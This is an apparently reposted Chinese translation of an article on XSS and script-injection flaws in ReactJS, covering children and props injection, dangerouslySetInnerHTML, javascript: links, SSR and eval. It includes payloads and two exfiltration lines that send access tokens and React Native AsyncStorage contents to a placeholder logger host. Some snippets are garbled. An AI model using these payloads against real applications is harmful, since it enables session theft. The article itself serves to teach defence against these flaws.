前言
业务中了解到的。今日早读文章由@Twosecurity分享。
正文从这开始～～
ReactJS 概述
是一款用于构建用户界面的JavaScript库。它能预加载Web前端，给用户带来更舒适的体验。React已经实现了绝大部分的客户端逻辑（比如说React能自动编码字符串），因此开发者大抵不用担心。
因此，只要合理使用，你的应用就不会有太大的安全隐患。然而这些防御措施还是会因为坏的编程习惯而失效，比方说：
就像墨非定律说的那样，这些隐患随时都会产生漏洞。让我慢慢道来。
Components, Props和Elements
Component(组件)是最基本的对象。它们就像JavaScript的函数一样，接受任意输入(就是后文的props)并返回一个React Element(元素)。一个基本的component如下：
class Welcome extends React.Component { render() { return Hello, {this.props.name}</h1>; }}
注意看奇葩的return，它返回的东西叫JSX。JSX是JavaScript语法的扩展，它会被自动转译成正常的JavaScript(ES5)代码。就拿下面的代码来说，虽然它们形式不一样，但功效相同：
// JSX代码const element = ( <h1 className="greeting"> Hello, world! </h1>);// 被转译过后的代码const element = React.createElement( ‘h1’, {className: ‘greeting’}, ‘Hello, world!’);
在React中，开发者可以用createElement()来从component类中创建新的元素：
React.createElement( type, [props], [...children])
这个函数用了这三个参数：
当你控制了其中的参数，你可以发动许多攻击
注入子节点
在2015年3月，Daniel LeCheminant汇报了一个HackerOne的存储形。导致这个问题的原因是HackerOne会将客户端提供的一个对象当作children传给React.createElement()。代码大概如下：
/* 获取用户提供的参数，并将其当作JSON解析attacker_supplied_value = JSON.parse(some_user_input)*/render() { return {attacker_supplied_value}</span>;}
JSX会被转译成这样：React.createElement(“span”, null, attackersuppliedvalue};
当attackersuppliedvalue是字符串时，该代码会返回一个span元素。不过在参数为简单对象时，这个函数也会正常执行。Daniel在props中添加dangerouslySetInnerHTML来阻止React转码HTML：
{ _isReactElement: true, _store: {}, type: "body", props: { dangerouslySetInnerHTML: { __html: "Arbitrary HTML alert(‘No CSP Support :(‘) link" } }}
后来，React的元素需要有$$typeof: Symbol.for(‘react.element’) 才能被正确识别。因为在注入对象时不能引用全局JavaScript Symbol，Daniel的方法也就随之失效了。
控制Element类型
虽然注入简单对象这个方法不能使用了，但是createElement的type参数支持字符串，因此注入component也还是有可能的。假设有以下代码：
// 用后端提供的字符串创建elementelement_name = stored_value;React.createElement(element_name, null);
如果stored_value被攻击者控制，那么可以通过其创建任意React component。不过这样也只能创建简单的HTML元素。为了更好地利用，攻击者必须控制新建元素时的属性参数。
注入props
我们来看看一下代码：
// 解析攻击者提供的JSON并传给createElement中// 危险代码，请勿模仿attacker_props = JSON.parse(stored_value)React.createElement("span", attacker_props};
我们可以以此注入任意props参数，比方说开启dangerouslySetInnerHTML:
{"dangerouslySetInnerHTML" : { "__html": ""}}
传统XSS
一些传统的XSS攻击向量也可以被应用到ReactJS中，我将列举一些情况：
设置了dangerouslySetInnerHTML
开发者可能因种种原因启用了 dangerouslySetInnerHTML：
很显然，当你控制了它的参数后，你可以注入任意JavaScript代码
可注入的属性
如果你控制了一个动态创建的a标签中的href属性，那么便可以尝试注入javascript:伪协议。还有一些HTML5的属性（formactin），也可以被用来当攻击点。
<a href={userinput}>Link<button form="name" formaction={userinput}>
当浏览器支持HTML5的import时，如下代码也会生效：
服务端渲染的HTML
为了减少页面加载的时间，人们渐渐倾向于在服务端预渲染ReactJS。在16年11月，Emilia Smith指出因为缺乏转码，Redux的服务端预渲染代码会导致XSS。
当然，只要在预渲染时缺乏转码，任何Web应用都会有类似问题。
基于Eval的代码注入
当你控制了一个被传入eval到执行的字符串，执行自己的代码便不在话下。不过这种情况凤毛麟角。
function antiPattern() { eval(this.state.attacker_supplied);}// Or even crazierfn = new Function("..." + attacker_supplied + "...");fn();
持久化 session
对于现代Web应用而言，session cookies已经过时了。身处时代前沿的开发者一般在用无状态的session tokens，并将其存储在客户端的local storage。因此我们也要改变攻击手段了：
fetch('http://example.com/logger.php?token='+localStorage.access_token);
React Native 中的注入
React Native让你可以用ReactJS在移动端编写程序，然而前文提到的手段大多在React Native中不管用：
只有基于eval的攻击才能被执行。不过当你成功地执行了JS时，就能使用React Native的API来做破坏力更强的事，比如通过AsyncStorage盗取local storage的所有数据：
_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('http://example.com/logger.php?token='+JSON.stringify(result));});});
总结
即使React安全防御先天良好，坏的编程习惯依然会带来种种漏洞。我给大家带来两个忠告：
关于本文译者：@Twosecurity译文：原文：@muellerberndt/exploiting-script-injection-flaws-in-reactjs-883fb1fe36c1
为你推荐
限时特惠：本站每日持续更新海量各大内部网赚创业教程，会员可以下载全站资源点击查看详情
站长微信：11082411
